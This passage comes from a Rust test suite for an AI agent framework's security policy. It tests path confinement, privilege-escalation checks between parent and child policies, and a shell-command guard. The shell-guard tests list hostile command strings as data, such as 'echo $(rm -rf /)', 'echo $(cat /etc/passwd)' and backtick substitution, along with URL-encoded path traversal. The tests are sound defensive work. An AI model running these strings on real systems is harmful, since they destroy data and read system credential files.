4770 !policy.is_resolved_path_allowed(&resolved),
4771 "symlink-resolved path outside workspace must be blocked"
4772 );
4773
4774 let _ = std::fs::remove_dir_all(&root);
4775 }
4776
4777 #[cfg(unix)]
4778 #[test]
4779 fn allowed_roots_permits_paths_outside_workspace() {
4780 use std::os::unix::fs::symlink;
4781
4782 let root = std::env::temp_dir().join("zeroclaw_test_allowed_roots");
4783 let workspace = root.join("workspace");
4784 let extra = root.join("extra_root");
4785 let extra_file = extra.join("data.txt");
4786
4787 let _ = std::fs::remove_dir_all(&root);
4788 std::fs::create_dir_all(&workspace).unwrap();
4789 std::fs::create_dir_all(&extra).unwrap();
4790 std::fs::write(&extra_file, "test").unwrap();
4791
4792 let link_path = workspace.join("link_to_extra");
4794 symlink(&extra, &link_path).unwrap();
4795
4796 let resolved = link_path.join("data.txt").canonicalize().unwrap();
4797
4798 let policy_without = SecurityPolicy {
4800 workspace_dir: workspace.clone(),
4801 allowed_roots: vec![],
4802 ..SecurityPolicy::default()
4803 };
4804 assert!(
4805 !policy_without.is_resolved_path_allowed(&resolved),
4806 "without allowed_roots, symlink target must be blocked"
4807 );
4808
4809 let policy_with = SecurityPolicy {
4811 workspace_dir: workspace.clone(),
4812 allowed_roots: vec![extra.clone()],
4813 ..SecurityPolicy::default()
4814 };
4815 assert!(
4816 policy_with.is_resolved_path_allowed(&resolved),
4817 "with allowed_roots containing the target, symlink must be allowed"
4818 );
4819
4820 let unrelated = root.join("unrelated");
4822 std::fs::create_dir_all(&unrelated).unwrap();
4823 assert!(
4824 !policy_with.is_resolved_path_allowed(&unrelated.canonicalize().unwrap()),
4825 "paths outside workspace and allowed_roots must still be blocked"
4826 );
4827
4828 let _ = std::fs::remove_dir_all(&root);
4829 }
4830
4831 #[test]
4832 fn is_path_allowed_blocks_null_bytes() {
4833 let policy = default_policy();
4834 assert!(
4835 !policy.is_path_allowed("file\0.txt"),
4836 "paths with null bytes must be blocked"
4837 );
4838 }
4839
4840 #[test]
4841 fn is_path_allowed_blocks_url_encoded_traversal() {
4842 let policy = default_policy();
4843 assert!(
4844 !policy.is_path_allowed("..%2fetc%2fpasswd"),
4845 "URL-encoded path traversal must be blocked"
4846 );
4847 assert!(
4848 !policy.is_path_allowed("subdir%2f..%2f..%2fetc"),
4849 "URL-encoded parent dir traversal must be blocked"
4850 );
4851 }
4852
4853 #[test]
4854 fn resolve_tool_path_expands_tilde() {
4855 let p = SecurityPolicy {
4856 workspace_dir: PathBuf::from("/workspace"),
4857 ..SecurityPolicy::default()
4858 };
4859 let resolved = p.resolve_tool_path("~/Documents/file.txt");
4860 assert!(resolved.is_absolute());
4862 assert!(!resolved.starts_with("/workspace"));
4863 assert!(resolved.to_string_lossy().ends_with("Documents/file.txt"));
4864 }
4865
4866 #[test]
4867 fn resolve_tool_path_keeps_absolute() {
4868 let p = SecurityPolicy {
4869 workspace_dir: PathBuf::from("/workspace"),
4870 ..SecurityPolicy::default()
4871 };
4872 let resolved = p.resolve_tool_path("/some/absolute/path");
4873 assert_eq!(resolved, PathBuf::from("/some/absolute/path"));
4874 }
4875
4876 #[test]
4877 fn resolve_tool_path_joins_relative() {
4878 let p = SecurityPolicy {
4879 workspace_dir: PathBuf::from("/workspace"),
4880 ..SecurityPolicy::default()
4881 };
4882 let resolved = p.resolve_tool_path("relative/path.txt");
4883 assert_eq!(resolved, PathBuf::from("/workspace/relative/path.txt"));
4884 }
4885
4886 #[test]
4887 fn resolve_tool_path_normalizes_workspace_prefixed_relative_paths() {
4888 let p = SecurityPolicy {
4889 workspace_dir: PathBuf::from("/zeroclaw-data/workspace"),
4890 ..SecurityPolicy::default()
4891 };
4892 let resolved = p.resolve_tool_path("zeroclaw-data/workspace/scripts/daily.py");
4893 assert_eq!(
4894 resolved,
4895 PathBuf::from("/zeroclaw-data/workspace/scripts/daily.py")
4896 );
4897 }
4898
4899 #[test]
4900 fn is_under_allowed_root_matches_allowed_roots() {
4901 let p = SecurityPolicy {
4902 workspace_dir: tp_ws(),
4903 workspace_only: true,
4904 allowed_roots: vec![tp_proj(), tp_data()],
4905 ..SecurityPolicy::default()
4906 };
4907 assert!(p.is_under_allowed_root(&format!("{}/myapp/src/main.rs", tp_proj().display())));
4908 assert!(p.is_under_allowed_root(&format!("{}/file.csv", tp_data().display())));
4909 assert!(!p.is_under_allowed_root(&tp_sys_sub("etc/passwd")));
4910 assert!(!p.is_under_allowed_root("relative/path"));
4911 }
4912
4913 #[test]
4914 fn is_under_allowed_root_returns_false_for_empty_roots() {
4915 let p = SecurityPolicy {
4916 workspace_dir: tp_ws(),
4917 workspace_only: true,
4918 allowed_roots: vec![],
4919 ..SecurityPolicy::default()
4920 };
4921 assert!(!p.is_under_allowed_root(&format!("{}/any/path", tp_proj().display())));
4922 }
4923
4924 #[test]
4927 fn is_under_read_only_allowed_root_matches_only_read_only_list() {
4928 let p = SecurityPolicy {
4929 workspace_dir: tp_ws(),
4930 workspace_only: true,
4931 allowed_roots: vec![tp_rw()],
4932 allowed_roots_read_only: vec![tp_ro()],
4933 ..SecurityPolicy::default()
4934 };
4935 assert!(p.is_under_read_only_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4936 assert!(!p.is_under_read_only_allowed_root(&format!("{}/file.csv", tp_rw().display())));
4937 assert!(!p.is_under_read_only_allowed_root(&tp_sys_sub("etc/passwd")));
4938 assert!(!p.is_under_read_only_allowed_root("relative"));
4939 }
4940
4941 #[test]
4942 fn is_under_any_allowed_root_unions_read_only_and_read_write() {
4943 let p = SecurityPolicy {
4944 workspace_dir: tp_ws(),
4945 workspace_only: true,
4946 allowed_roots: vec![tp_rw()],
4947 allowed_roots_read_only: vec![tp_ro()],
4948 ..SecurityPolicy::default()
4949 };
4950 assert!(p.is_under_any_allowed_root(&format!("{}/file.csv", tp_rw().display())));
4951 assert!(p.is_under_any_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4952 assert!(!p.is_under_any_allowed_root(&tp_sys_sub("etc/passwd")));
4953 }
4954
4955 #[test]
4956 fn is_under_allowed_root_does_not_see_read_only_entries() {
4957 let p = SecurityPolicy {
4958 workspace_dir: tp_ws(),
4959 workspace_only: true,
4960 allowed_roots: vec![],
4961 allowed_roots_read_only: vec![tp_ro()],
4962 ..SecurityPolicy::default()
4963 };
4964 assert!(!p.is_under_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4965 assert!(p.is_under_any_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4966 }
4967
4968 fn parent_policy_for_escalation_tests() -> SecurityPolicy {
4971 SecurityPolicy {
4972 workspace_dir: PathBuf::from("/workspace"),
4973 workspace_only: true,
4974 allowed_roots: vec![PathBuf::from("/projects"), PathBuf::from("/data")],
4975 allowed_roots_read_only: vec![PathBuf::from("/shared-docs")],
4976 allowed_commands: vec!["git".into(), "cargo".into(), "ls".into()],
4977 max_actions_per_hour: 100,
4978 max_cost_per_day_cents: 500,
4979 ..SecurityPolicy::default()
4980 }
4981 }
4982
4983 #[test]
4984 fn ensure_no_escalation_accepts_identical_policy() {
4985 let parent = parent_policy_for_escalation_tests();
4986 let child = parent.clone();
4987 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
4988 }
4989
4990 #[test]
4991 fn ensure_no_escalation_accepts_narrowed_child() {
4992 let parent = parent_policy_for_escalation_tests();
4993 let child = SecurityPolicy {
4994 allowed_roots: vec![PathBuf::from("/projects")],
4995 allowed_roots_read_only: vec![PathBuf::from("/shared-docs")],
4996 allowed_commands: vec!["git".into()],
4997 max_actions_per_hour: 50,
4998 max_cost_per_day_cents: 250,
4999 ..parent.clone()
5000 };
5001 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
5002 }
5003
5004 #[test]
5005 fn ensure_no_escalation_accepts_rw_root_downgraded_to_read_only_on_child() {
5006 let parent = parent_policy_for_escalation_tests();
5009 let child = SecurityPolicy {
5010 allowed_roots: Vec::new(),
5011 allowed_roots_read_only: vec![PathBuf::from("/projects")],
5012 ..parent.clone()
5013 };
5014 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
5015 }
5016
5017 #[test]
5018 fn ensure_no_escalation_rejects_new_rw_root_not_in_parent() {
5019 let parent = parent_policy_for_escalation_tests();
5020 let child = SecurityPolicy {
5021 allowed_roots: vec![PathBuf::from("/projects"), PathBuf::from("/secrets")],
5022 ..parent.clone()
5023 };
5024 let err = child
5025 .ensure_no_escalation_beyond(&parent)
5026 .expect_err("new rw root must be rejected");
5027 assert!(matches!(
5028 err,
5029 EscalationViolation::ReadWriteRootNotInParent { ref path }
5030 if path == &PathBuf::from("/secrets")
5031 ));
5032 }
5033
5034 #[test]
5035 fn ensure_no_escalation_rejects_new_read_only_root_not_in_parent() {
5036 let parent = parent_policy_for_escalation_tests();
5037 let child = SecurityPolicy {
5038 allowed_roots_read_only: vec![PathBuf::from("/etc")],
5039 ..parent.clone()
5040 };
5041 let err = child
5042 .ensure_no_escalation_beyond(&parent)
5043 .expect_err("new read-only root must be rejected");
5044 assert!(matches!(
5045 err,
5046 EscalationViolation::ReadOnlyRootNotInParent { ref path }
5047 if path == &PathBuf::from("/etc")
5048 ));
5049 }
5050
5051 #[test]
5052 fn ensure_no_escalation_rejects_new_command_not_in_parent() {
5053 let parent = parent_policy_for_escalation_tests();
5054 let child = SecurityPolicy {
5055 allowed_commands: vec!["git".into(), "rm".into()],
5056 ..parent.clone()
5057 };
5058 let err = child
5059 .ensure_no_escalation_beyond(&parent)
5060 .expect_err("new command must be rejected");
5061 assert!(matches!(
5062 err,
5063 EscalationViolation::CommandNotInParent { ref command }
5064 if command == "rm"
5065 ));
5066 }
5067
5068 #[test]
5069 fn ensure_no_escalation_rejects_workspace_only_disabled_by_child() {
5070 let parent = parent_policy_for_escalation_tests();
5071 let child = SecurityPolicy {
5072 workspace_only: false,
5073 ..parent.clone()
5074 };
5075 let err = child
5076 .ensure_no_escalation_beyond(&parent)
5077 .expect_err("disabling workspace_only when parent enforces it must be rejected");
5078 assert_eq!(err, EscalationViolation::WorkspaceOnlyDisabledByChild);
5079 }
5080
5081 #[test]
5082 fn ensure_no_escalation_rejects_higher_max_actions() {
5083 let parent = parent_policy_for_escalation_tests();
5084 let child = SecurityPolicy {
5085 max_actions_per_hour: 200,
5086 ..parent.clone()
5087 };
5088 let err = child
5089 .ensure_no_escalation_beyond(&parent)
5090 .expect_err("higher max_actions_per_hour must be rejected");
5091 assert!(matches!(
5092 err,
5093 EscalationViolation::MaxActionsExceeded { child, parent } if child == 200 && parent == 100
5094 ));
5095 }
5096
5097 #[test]
5098 fn ensure_no_escalation_rejects_higher_max_cost() {
5099 let parent = parent_policy_for_escalation_tests();
5100 let child = SecurityPolicy {
5101 max_cost_per_day_cents: 1000,
5102 ..parent.clone()
5103 };
5104 let err = child
5105 .ensure_no_escalation_beyond(&parent)
5106 .expect_err("higher max_cost_per_day_cents must be rejected");
5107 assert!(matches!(
5108 err,
5109 EscalationViolation::MaxCostExceeded { child, parent } if child == 1000 && parent == 500
5110 ));
5111 }
5112
5113 #[test]
5114 fn ensure_no_escalation_rejects_higher_autonomy() {
5115 let parent = SecurityPolicy {
5116 autonomy: AutonomyLevel::Supervised,
5117 ..parent_policy_for_escalation_tests()
5118 };
5119 let child = SecurityPolicy {
5120 autonomy: AutonomyLevel::Full,
5121 ..parent.clone()
5122 };
5123 let err = child
5124 .ensure_no_escalation_beyond(&parent)
5125 .expect_err("Full child under Supervised parent must be rejected");
5126 assert!(matches!(
5127 err,
5128 EscalationViolation::AutonomyAboveParent { child, parent }
5129 if child == AutonomyLevel::Full && parent == AutonomyLevel::Supervised
5130 ));
5131 }
5132
5133 #[test]
5134 fn ensure_no_escalation_accepts_subpath_narrowing_inside_parent_root() {
5135 let parent = parent_policy_for_escalation_tests();
5138 let child = SecurityPolicy {
5139 allowed_roots: vec![PathBuf::from("/projects/repo")],
5140 allowed_roots_read_only: vec![],
5141 ..parent.clone()
5142 };
5143 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
5144 }
5145
5146 #[test]
5147 fn ensure_no_escalation_rejects_dropped_forbidden_path() {
5148 let parent = SecurityPolicy {
5149 forbidden_paths: vec!["/etc/secrets".into(), "/root".into()],
5150 ..parent_policy_for_escalation_tests()
5151 };
5152 let child = SecurityPolicy {
5153 forbidden_paths: vec!["/root".into()],
5154 ..parent.clone()
5155 };
5156 let err = child
5157 .ensure_no_escalation_beyond(&parent)
5158 .expect_err("child dropping a parent's forbidden_paths entry must be rejected");
5159 assert!(matches!(
5160 err,
5161 EscalationViolation::ForbiddenPathDroppedByChild { ref path }
5162 if path == "/etc/secrets"
5163 ));
5164 }
5165
5166 #[test]
5167 fn ensure_no_escalation_rejects_expanded_shell_env_passthrough() {
5168 let parent = SecurityPolicy {
5169 shell_env_passthrough: vec!["PATH".into()],
5170 ..parent_policy_for_escalation_tests()
5171 };
5172 let child = SecurityPolicy {
5173 shell_env_passthrough: vec!["PATH".into(), "AWS_SECRET_ACCESS_KEY".into()],
5174 ..parent.clone()
5175 };
5176 let err = child
5177 .ensure_no_escalation_beyond(&parent)
5178 .expect_err("child adding a shell_env_passthrough entry must be rejected");
5179 assert!(matches!(
5180 err,
5181 EscalationViolation::ShellEnvPassthroughExpanded { ref variable }
5182 if variable == "AWS_SECRET_ACCESS_KEY"
5183 ));
5184 }
5185
5186 #[test]
5187 fn ensure_no_escalation_rejects_higher_shell_timeout() {
5188 let parent = SecurityPolicy {
5189 shell_timeout_secs: 30,
5190 ..parent_policy_for_escalation_tests()
5191 };
5192 let child = SecurityPolicy {
5193 shell_timeout_secs: 600,
5194 ..parent.clone()
5195 };
5196 let err = child
5197 .ensure_no_escalation_beyond(&parent)
5198 .expect_err("higher shell_timeout_secs must be rejected");
5199 assert!(matches!(
5200 err,
5201 EscalationViolation::ShellTimeoutExceeded { child, parent }
5202 if child == 600 && parent == 30
5203 ));
5204 }
5205
5206 #[test]
5207 fn ensure_no_escalation_rejects_disabled_block_high_risk_commands() {
5208 let parent = SecurityPolicy {
5209 block_high_risk_commands: true,
5210 ..parent_policy_for_escalation_tests()
5211 };
5212 let child = SecurityPolicy {
5213 block_high_risk_commands: false,
5214 ..parent.clone()
5215 };
5216 let err = child
5217 .ensure_no_escalation_beyond(&parent)
5218 .expect_err("child flipping block_high_risk_commands off must be rejected");
5219 assert_eq!(
5220 err,
5221 EscalationViolation::BlockHighRiskCommandsDisabledByChild
5222 );
5223 }
5224
5225 #[test]
5226 fn ensure_no_escalation_rejects_disabled_require_approval() {
5227 let parent = SecurityPolicy {
5228 require_approval_for_medium_risk: true,
5229 ..parent_policy_for_escalation_tests()
5230 };
5231 let child = SecurityPolicy {
5232 require_approval_for_medium_risk: false,
5233 ..parent.clone()
5234 };
5235 let err = child
5236 .ensure_no_escalation_beyond(&parent)
5237 .expect_err("child flipping require_approval_for_medium_risk off must be rejected");
5238 assert_eq!(err, EscalationViolation::RequireApprovalDisabledByChild);
5239 }
5240
5241 #[test]
5242 fn from_risk_profile_leaves_allowed_roots_read_only_empty() {
5243 let profile = crate::schema::RiskProfileConfig {
5247 allowed_roots: vec!["/projects".to_string()],
5248 ..crate::schema::RiskProfileConfig::default()
5249 };
5250 let policy = SecurityPolicy::from_risk_profile(&profile, Path::new("/workspace"));
5251 assert_eq!(policy.allowed_roots, vec![PathBuf::from("/projects")]);
5252 assert!(
5253 policy.allowed_roots_read_only.is_empty(),
5254 "read-only roots come from workspace.access, not RiskProfileConfig"
5255 );
5256 }
5257
5258 #[test]
5259 fn runtime_config_paths_are_protected() {
5260 let workspace = PathBuf::from("/tmp/zeroclaw-profile/workspace");
5261 let policy = SecurityPolicy {
5262 workspace_dir: workspace.clone(),
5263 ..SecurityPolicy::default()
5264 };
5265 let config_dir = workspace.parent().unwrap();
5266
5267 assert!(policy.is_runtime_config_path(&config_dir.join("config.toml")));
5268 assert!(policy.is_runtime_config_path(&config_dir.join("config.toml.bak")));
5269 assert!(policy.is_runtime_config_path(&config_dir.join(".config.toml.tmp-1234")));
5270 assert!(!policy.is_runtime_config_path(&config_dir.join("active_workspace.toml")));
5274 }
5275
5276 #[test]
5277 fn workspace_files_are_not_runtime_config_paths() {
5278 let workspace = PathBuf::from("/tmp/zeroclaw-profile/workspace");
5279 let policy = SecurityPolicy {
5280 workspace_dir: workspace.clone(),
5281 ..SecurityPolicy::default()
5282 };
5283 let nested_dir = workspace.join("notes");
5284
5285 assert!(!policy.is_runtime_config_path(&workspace.join("notes.txt")));
5286 assert!(!policy.is_runtime_config_path(&nested_dir.join("config.toml")));
5287 }
5288
5289 #[test]
5292 fn prompt_summary_includes_autonomy_level() {
5293 let p = default_policy();
5294 let summary = p.prompt_summary();
5295 assert!(
5296 summary.contains("Supervised"),
5297 "should mention autonomy level"
5298 );
5299 }
5300
5301 #[test]
5302 fn prompt_summary_includes_workspace_boundary_when_workspace_only() {
5303 let p = SecurityPolicy {
5304 workspace_dir: PathBuf::from("/home/user/project"),
5305 workspace_only: true,
5306 ..SecurityPolicy::default()
5307 };
5308 let summary = p.prompt_summary();
5309 assert!(
5310 summary.contains("Workspace boundary"),
5311 "should mention workspace boundary"
5312 );
5313 assert!(
5314 summary.contains("/home/user/project"),
5315 "should mention workspace path"
5316 );
5317 }
5318
5319 #[test]
5320 fn prompt_summary_omits_workspace_boundary_when_not_workspace_only() {
5321 let p = SecurityPolicy {
5322 workspace_only: false,
5323 ..SecurityPolicy::default()
5324 };
5325 let summary = p.prompt_summary();
5326 assert!(
5327 !summary.contains("Workspace boundary"),
5328 "should not mention workspace boundary"
5329 );
5330 }
5331
5332 #[test]
5333 fn prompt_summary_includes_allowed_commands() {
5334 let p = SecurityPolicy {
5335 allowed_commands: vec!["git".into(), "ls".into()],
5336 ..SecurityPolicy::default()
5337 };
5338 let summary = p.prompt_summary();
5339 assert!(summary.contains("`git`"), "should list allowed commands");
5340 assert!(summary.contains("`ls`"), "should list allowed commands");
5341 assert!(
5342 summary.contains("You may execute these commands freely"),
5343 "should mention allowed commands positively"
5344 );
5345 }
5346
5347 #[test]
5348 fn prompt_summary_includes_forbidden_paths() {
5349 let p = SecurityPolicy {
5350 workspace_only: false,
5351 forbidden_paths: vec!["/etc".into(), "~/.ssh".into()],
5352 ..SecurityPolicy::default()
5353 };
5354 let summary = p.prompt_summary();
5355 assert!(summary.contains("`/etc`"), "should list forbidden paths");
5356 assert!(summary.contains("`~/.ssh`"), "should list forbidden paths");
5357 }
5358
5359 #[test]
5360 fn prompt_summary_includes_rate_limit() {
5361 let p = SecurityPolicy {
5362 max_actions_per_hour: 42,
5363 ..SecurityPolicy::default()
5364 };
5365 let summary = p.prompt_summary();
5366 assert!(summary.contains("42"), "should mention rate limit");
5367 assert!(
5368 summary.contains("actions per hour"),
5369 "should explain rate limit"
5370 );
5371 }
5372
5373 #[test]
5374 fn prompt_summary_includes_risk_controls() {
5375 let p = SecurityPolicy {
5376 block_high_risk_commands: true,
5377 require_approval_for_medium_risk: true,
5378 ..SecurityPolicy::default()
5379 };
5380 let summary = p.prompt_summary();
5381 assert!(
5382 summary.contains("Exercise caution with destructive commands"),
5383 "should mention high-risk caution"
5384 );
5385 assert!(
5386 summary.contains("Medium-risk commands"),
5387 "should mention medium-risk approval"
5388 );
5389 }
5390
5391 #[test]
5392 fn prompt_summary_includes_allowed_roots() {
5393 let p = SecurityPolicy {
5394 allowed_roots: vec![PathBuf::from("/shared/data"), PathBuf::from("/opt/tools")],
5395 ..SecurityPolicy::default()
5396 };
5397 let summary = p.prompt_summary();
5398 assert!(
5399 summary.contains("`/shared/data`"),
5400 "should list allowed roots"
5401 );
5402 assert!(
5403 summary.contains("`/opt/tools`"),
5404 "should list allowed roots"
5405 );
5406 }
5407
5408 #[test]
5409 fn wildcard_with_block_high_risk_false_allows_everything() {
5410 let p = SecurityPolicy {
5411 allowed_commands: vec!["*".into()],
5412 block_high_risk_commands: false,
5413 workspace_only: false,
5414 ..SecurityPolicy::default()
5415 };
5416 assert!(
5417 p.validate_command_execution("rm -rf /tmp/test", true)
5418 .is_ok()
5419 );
5420 assert!(p.validate_command_execution("nohup firefox", true).is_ok());
5421 assert!(
5422 p.validate_command_execution("ls /usr/bin/firefox", true)
5423 .is_ok()
5424 );
5425 }
5426
5427 #[test]
5428 fn wildcard_with_block_high_risk_true_still_blocks() {
5429 let p = SecurityPolicy {
5432 autonomy: AutonomyLevel::Supervised,
5433 allowed_commands: vec!["*".into()],
5434 block_high_risk_commands: true,
5435 ..SecurityPolicy::default()
5436 };
5437 let result = p.validate_command_execution("rm -rf /tmp/test", true);
5438 assert!(result.is_err());
5439 assert!(result.unwrap_err().contains("high-risk"));
5440 }
5441
5442 #[test]
5445 fn wildcard_unblocked_allows_backticks() {
5446 let p = SecurityPolicy {
5447 allowed_commands: vec!["*".into()],
5448 block_high_risk_commands: false,
5449 ..SecurityPolicy::default()
5450 };
5451 assert!(p.is_command_allowed("echo `whoami`"));
5452 assert!(p.is_command_allowed("ls `which git`"));
5453 }
5454
5455 #[test]
5456 fn wildcard_unblocked_allows_dollar_paren() {
5457 let p = SecurityPolicy {
5458 allowed_commands: vec!["*".into()],
5459 block_high_risk_commands: false,
5460 ..SecurityPolicy::default()
5461 };
5462 assert!(p.is_command_allowed("echo $(cat /etc/hostname)"));
5463 assert!(p.is_command_allowed("echo $(rm -rf /)"));
5464 }
5465
5466 #[test]
5467 fn wildcard_unblocked_allows_dollar_brace() {
5468 let p = SecurityPolicy {
5469 allowed_commands: vec!["*".into()],
5470 block_high_risk_commands: false,
5471 ..SecurityPolicy::default()
5472 };
5473 assert!(p.is_command_allowed("echo ${HOME}"));
5474 assert!(p.is_command_allowed("echo ${PATH}"));
5475 }
5476
5477 #[test]
5478 fn wildcard_unblocked_allows_process_substitution() {
5479 let p = SecurityPolicy {
5480 allowed_commands: vec!["*".into()],
5481 block_high_risk_commands: false,
5482 ..SecurityPolicy::default()
5483 };
5484 assert!(p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5485 assert!(p.is_command_allowed("tee >(grep error > errors.log)"));
5486 }
5487
5488 #[test]
5489 fn wildcard_unblocked_allows_pipes_and_chains() {
5490 let p = SecurityPolicy {
5491 allowed_commands: vec!["*".into()],
5492 block_high_risk_commands: false,
5493 ..SecurityPolicy::default()
5494 };
5495 assert!(p.is_command_allowed("ps aux | grep python | wc -l"));
5496 assert!(p.is_command_allowed("echo hello && echo world"));
5497 }
5498
5499 #[test]
5500 fn wildcard_blocked_still_runs_shell_guard() {
5501 let p = SecurityPolicy {
5504 allowed_commands: vec!["*".into()],
5505 block_high_risk_commands: true,
5506 ..SecurityPolicy::default()
5507 };
5508 assert!(!p.is_command_allowed("echo `whoami`"));
5509 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
5510 assert!(!p.is_command_allowed("echo ${HOME}"));
5511 assert!(!p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5512 }
5513
5514 #[test]
5515 fn specific_allowlist_still_runs_shell_guard() {
5516 let p = SecurityPolicy {
5519 allowed_commands: vec!["echo".into(), "ls".into(), "diff".into()],
5520 block_high_risk_commands: false,
5521 ..SecurityPolicy::default()
5522 };
5523 assert!(!p.is_command_allowed("echo `whoami`"));
5524 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
5525 assert!(!p.is_command_allowed("echo ${HOME}"));
5526 assert!(!p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5527 }
5528
5529 #[test]
5530 fn specific_allowlist_with_block_true_still_runs_shell_guard() {
5531 let p = SecurityPolicy {
5532 allowed_commands: vec!["echo".into(), "ls".into()],
5533 block_high_risk_commands: true,
5534 ..SecurityPolicy::default()
5535 };
5536 assert!(!p.is_command_allowed("echo `whoami`"));
5537 assert!(!p.is_command_allowed("echo $(rm -rf /)"));
5538 assert!(!p.is_command_allowed("echo ${HOME}"));
5539 }
5540
5541 #[test]
5542 fn wildcard_unblocked_readonly_still_blocked() {
5543 let p = SecurityPolicy {
5545 autonomy: AutonomyLevel::ReadOnly,
5546 allowed_commands: vec!["*".into()],
5547 block_high_risk_commands: false,
5548 ..SecurityPolicy::default()
5549 };
5550 assert!(!p.is_command_allowed("ls"));
5551 assert!(!p.is_command_allowed("echo `whoami`"));
5552 }
5553
5554 #[test]
5555 fn per_sender_tracker_isolates_counts() {
5556 let t = PerSenderTracker::new();
5557 assert!(t.record_within("chat_a", 2)); assert!(t.record_within("chat_a", 2)); assert!(!t.record_within("chat_a", 2)); assert!(t.record_within("chat_b", 2)); assert!(t.record_within("chat_b", 2)); assert!(!t.record_within("chat_b", 2)); }
5566
5567 #[test]
5568 fn per_sender_tracker_global_key_fallback() {
5569 let t = PerSenderTracker::new();
5570 assert!(!t.is_exhausted(PerSenderTracker::GLOBAL_KEY, 1));
5571 t.record_within(PerSenderTracker::GLOBAL_KEY, u32::MAX);
5572 assert!(t.is_exhausted(PerSenderTracker::GLOBAL_KEY, 1));
5574 }
5575
5576 #[test]
5577 fn per_sender_tracker_is_exhausted_reads_without_spurious_insert() {
5578 let t = PerSenderTracker::new();
5579 assert!(!t.is_exhausted("ghost", 1));
5581 }
5582
5583 #[test]
5584 fn attached_short_option_value_handles_multibyte_token() {
5585 assert_eq!(
5588 attached_short_option_value("-é/etc/passwd"),
5589 Some("/etc/passwd")
5590 );
5591 assert_eq!(attached_short_option_value("-—"), None);
5592 assert_eq!(
5593 attached_short_option_value("-f/etc/passwd"),
5594 Some("/etc/passwd")
5595 );
5596 assert_eq!(attached_short_option_value("-f"), None);
5597 assert_eq!(attached_short_option_value("--long"), None);
5598 }
5599}